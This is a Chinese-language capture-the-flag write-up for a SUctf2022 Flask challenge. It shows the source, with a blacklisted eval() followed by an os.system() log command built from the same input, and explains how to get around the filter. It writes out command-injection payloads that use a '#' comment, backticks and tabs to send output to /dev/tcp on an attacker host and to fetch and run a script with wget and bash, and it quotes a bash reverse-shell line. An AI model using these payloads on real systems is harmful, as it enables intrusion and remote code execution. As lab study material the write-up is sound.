檢視程式碼
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
num=1#`ls`
@app.route("/")
def index():
"歡迎來到SUctf2022"
return render_template("index.html")
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)
首先放出原始碼
然後觀察可以知道,對num的過濾極其嚴格,所以突破口並不在num上,自然而然想到突破口應該是log
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
程式會將num插入到log字串的最後然後先後執行 eval(num)和os.system(log)。
我們要想辦法在第二個函式上執行但是要避免在eval函式中報錯以導致程式不會進行下一步。基於python特性想到了用#註釋。
然後就可以使用`程式碼`來優先執行,其實$()有相同作用但是被過濾了。
接下來有多種方法我挨個嘗試。
1 輸出重定向到攻擊機
payload:calc?num=1%23`ls%09>/dev/tcp/IP/2333`
直接將輸出重定向到攻擊機 因為空格被過濾所以用製表符
然後直接開啟這個檔案即可
2 命令列反彈
因為&被過濾不能直接用
bash -i >& /dev/tcp/IP/2333 0>&1
所以現在本地用python寫一個檔案,然後開啟伺服器
讓目標機讀取本機上的檔案並執行即可。(哦別忘了在雲伺服器上安全組開啟埠)
ok 這就結束了
payload:
calc?num=1%23`wget%09http://Ip/log.sh`
calc?num=1%23`bash%09log.sh`
第二種方法結束。
還有其他避開eval報錯得到方法還可以去學習